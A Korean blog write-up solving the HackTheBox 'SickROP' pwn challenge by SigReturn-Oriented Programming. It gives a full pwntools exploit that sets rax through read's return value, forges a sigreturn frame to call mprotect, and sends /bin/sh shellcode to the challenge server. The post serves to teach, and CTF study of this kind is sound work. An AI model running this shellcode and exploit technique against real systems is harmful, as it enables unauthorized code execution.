[HackTheBox] SickROP
SROP 기법을 오랜만에 복습하고 싶어서 이렇게 블로그에 SROP 풀이 방법을 정리하고자 한다.
이 문제는 SROP에 대해서 제대로 익힐 수 있고, 그뿐만 아니라 다른 테크니컬적인 부분도 굉장히 배울 점이 많아 추천하는 문제이다.
SROP에 대한 자세한 설명은 예전에 작성해놓았으니 필요하면 아래를 참고하면 된다.
[Pwnable] SROP (SigRetrun Oriented Programming)
[Pwnable] Exploit Tech: SigReturn-Oriented Programming
아래 포스트는 내가 적은 건 아닌데 SROP 공부하는데 도움된 포스트이다.
SROP. Sigreturn-oriented programming (SROP)… | by trustie_rity | Medium
문제 분석 및 익스플로잇
풀이할 문제는 HackTheBox의 SickROP 문제이다.
일단 checksec을 하보니 NX 제외 다 disabled되어있다.
그런데 딱히 주소 릭이 불가능하다... 어떻게 해야할까?
일단 이 문제가 보통 문제와 다른 점은 x64환경임에도 스택에 인자를 push로 전달하고 있는 점이다. 저 read와 write함수는 내부에서 sys_read, sys_write를 호출하는 wrapper 함수 역할을 하는데, 되게 뒷 인자들을 함수의 파라미터로 받고 있다.
알다시피 x64에서는 함수의 인자가 많을 경우 스택으로 인자를 전달한다! 그런데 많이 나오지는 않아 잊어버렸을 수 있으니 기억하고 넘어가자!
일부러 이렇게 만든 이유는 아마 가젯 찾기 어려우려고 이렇게 한 것 같다.(아닐 수도 있음)
아무튼 위 어셈블리어를 pseudo 코드로 정리하면 아래와 같다.
count=read(0,r10,0x300) //r10 ([rbp-0x20])
write(1,r10,count)
일단 이거를 보니 b'A'*0x28을 더미로 보내주고 그 후의 페이로드를 어떻게 구성할지 생각해보자.
libc를 모르고 PIE는 disabled되어있으므로 바이너리에서 ROP gadget을 찾아보자.
음.. 쓸만한게 없다. 그런데 syscall 가젯은 사용할 수 있다.
이럴 경우 우리가 사용하는 방법이 SROP (SigReturn Oriented Programming)인 것이다!
syscall가젯에 rax를 15로 설정할 수 있으면 sigreturn syscall을 호출 할 수 있다.
rax 설정
그런데 우리는 딱히 rax를 설정할 수 있는 가젯이 존재하지 않는다..
하지만 우리에게는 read함수가 있다! read함수는 반환값으로 읽은 문자의 수를 반환한다. 따라서 15byte를 보내면 rax가 15로 설정될 것이다!
뒤에 write가 있는데 이 함수 또한 읽은 문자의 수를 반환한다!
따라서 read와 write 함수 실행이후 rax는 15로 고정되고, 어셈블리를 보면 rax가 바뀌지 않으므로 이를 이렇게 rax를 설정할 수 있게되는 것이다.
하지만 여기서 또 의문점이 생긴다. 15byte는 sigreturn frame를 생성하기에는 터무니없이 적은 숫자인 것이다.
따라서 미리 sigreturn frame을 스택에 저장해 놓고, 다시 vul함수를 불러들여 read와 write을 통해 rax를 15로 설정하면 된다. 이처럼 익스플로잇을 할 때 바로 내가 원하는 것을 하는게 아니라 미리 스택에 이렇게 저장해놓는 등 미리 선수작업을 하는 아이디어도 좋은 것 같다.
지금까지의 아이디어와 이후의 스택변화를 고려하여 페이로드를 구성해보면 아래와 같다.
vuln_addr=0x40102e
syscall_addr=0x401014
payload=b'A'*0x28+p64(vuln_addr)+p64(syscall_addr)+bytes(frame)
왜 이렇게 되는지 그림을 통해 이해해보자.
참고로 다른 함수로 return 할 때는 이렇게 프롤로그 전으로 return해주면 좋다. 함수 중간으로 return할 경우 rbp를 맞춰줘야 한다. (깨알 홍보하자면 내가 만든 Santa House문제도 이 과정이 필요하다.. 아마 내 블로그 열심히 읽으면 santa house 강제 스포될듯 ㅋㅋ)
왜냐하면 대부분의 어셈블리는 rbp(ebp)를 기준으로 주소들에 접근하는데, rbp가 corrupt되면, 이상한 값을 기준으로 값을 접근할 것이기 때문에 sigsev나 sigbus 등이 뜰 확률이 크다. (다... 경험담..)
아무튼 위처럼 페이로드를 구성하면 된다.
Sigreturn 프레임 구성 (+mprotect)
이제 sigreturn 프레임을 구성해보자.
오늘은 mprotect syscall을 이용해 원하는 메모리 영역에 권한을 부여해주고 해당 영역에 shellcode를 작성할 것이다.
int mprotect(void addr[.len], size_t len, int prot);
mprotect함수는 아래 참고하기!
https://man7.org/linux/man-pages/man2/mprotect.2.html
vmmap으로 괜찮은 영역을 찾아보자.
저부분은 aslr이 적용되지 않아서 저기다 작성한후 실행권한 주면 좋을 것 같다! 0x401000은 코드가 저장되어있는 부분이어어서 저기다 작성하면 코드 깨질듯하다ㅜㅜ
이걸 토대로 frame을 구성해보자.
frame = SigreturnFrame(kernel="amd64")
frame.rdi=0x400000 #권한 조작할 영역
frame.rsi=0x2000 #영역의 사이즈
frame.rdx=0x7 #권한 나타내는 비트
frame.rsp=0x4010d8 #vuln를 가리키는 포인터! 이걸 설정하면 다시 vuln를 실행할 수 있게된다.
frame.rax=0xa #mprotect systcall number
frame.rip=syscall_addr #syscall을 해야 mprotect를 하므로...
여기서 rsp 부분만 부가 설명하겠다!
sigreturn 후 ret 뒤에는 rsp에 있는 걸 pop하고 거기로 이동할 것이므로 rsp에는 원하는 함수의 주소가 적혀있는 곳을 넣어준다! 원하는 함수의 주소를 넣는게 아니라 해당 함수의 포인터를 넣는것에 유의하자!! (예를 들어 plt를 넣으면 안되고 got을 넣어야한다는 것이다... 물론 got 넣으면 좀 밑에 다른 함수 got overwrite할 거여서 망할 가능성이 높아지지만 걍 예시가 그렇다는 것!ㅇㅇ)
이제 vuln가 실행되면 b'A*15를 보내주면 된다!
payload = b"B"*15
p.send(payload)
p.recv()
이제 mprotect 뒤에 다시 shellcode를 입력받아야하므로 우리는 vuln을 또 실행시켜줄 것이다. vuln 안에 read가 있으니까!
gdb에서 vuln의 주소를 담고 있는 곳을 찾으니 0x4010d8이란다. 그래서 rsp에 해당 값을 넣어준 것이다.
sigreturn이 끝나면 0x4010d8이 우리의 새로운 stack 꼭대기가 될 것이다.
이제 새로 vuln이 실행되면 shell_code를 보내주고, return address를 shell_code가 있는 곳으로 맞춰주면 된다.
# vuln 프롤로그 끝나면 rsp는 0x4010b8(0x4010d8-0x20)이 될 것이다
shell_code = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
payload=shell_code+b'\x90'*(0x28-len(shell_code))+p64(0x4010b8)
왜 0x4010b8을 넣는지는 주석에 작성해 놓았다! (참고로 저렇게 계산 안하고 그냥 gdb.attach(p) 해서 확인해도 똑같은 값이 나온당)
위 코드를 다 통합해서 최종 익스플로잇 코드를 작성하면 아래와 같이 된다.
from pwn import *
p=process("./sick_rop")
p=remote("167.99.82.136",32535)
context.log_level='debug'
context.clear(arch='amd64')
vuln_addr=0x40102e
syscall_addr=0x401014
shell_code = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
frame = SigreturnFrame(kernel="amd64")
frame.rdi=0x400000 #권한 조작할 영역
frame.rsi=0x2000 #영역의 사이즈
frame.rdx=0x7 #권한 나타내는 비트
frame.rsp=0x4010d8 #vuln를 가리키는 포인터! 이걸 설정하면 다시 vuln를 실행할 수 있게된다.
frame.rax=0xa #mprotect systcall number
frame.rip=syscall_addr #syscall을 해야 mprotect를 하므로...
#payload 1
payload1=b'A'*0x28+p64(vuln_addr)+p64(syscall_addr)+bytes(frame)
p.send(payload1)
p.recv()
#payload 2 (rax를 15로 맞추기)
payload2 = b"B"*15
p.send(payload2)
p.recv()
#payload 3 (shellcode 보내기)
payload3=shell_code+b'\x90'*(0x28-len(shell_code))+p64(0x4010b8)
p.send(payload3)
p.recv()
p.interactive()
간만에 넘 재미있는 문제였다 ㅎㅎ
HTB 문제는 처음 풀어보는데 생각보다 퀄이 좋다.. 많이 풀어봐야딩 ㅎㅎ
할거 없는데 srop복습 제대로 할겸 내일 이거 관련 문제나 만들어봐야겠 나는 백수 ㅋ....ㅋ.ㅋ..ㅋ..ㅋ...힝
Reference
https://trustie.medium.com/sick-rop-htb-pwn-challenge-9b1310d9a6b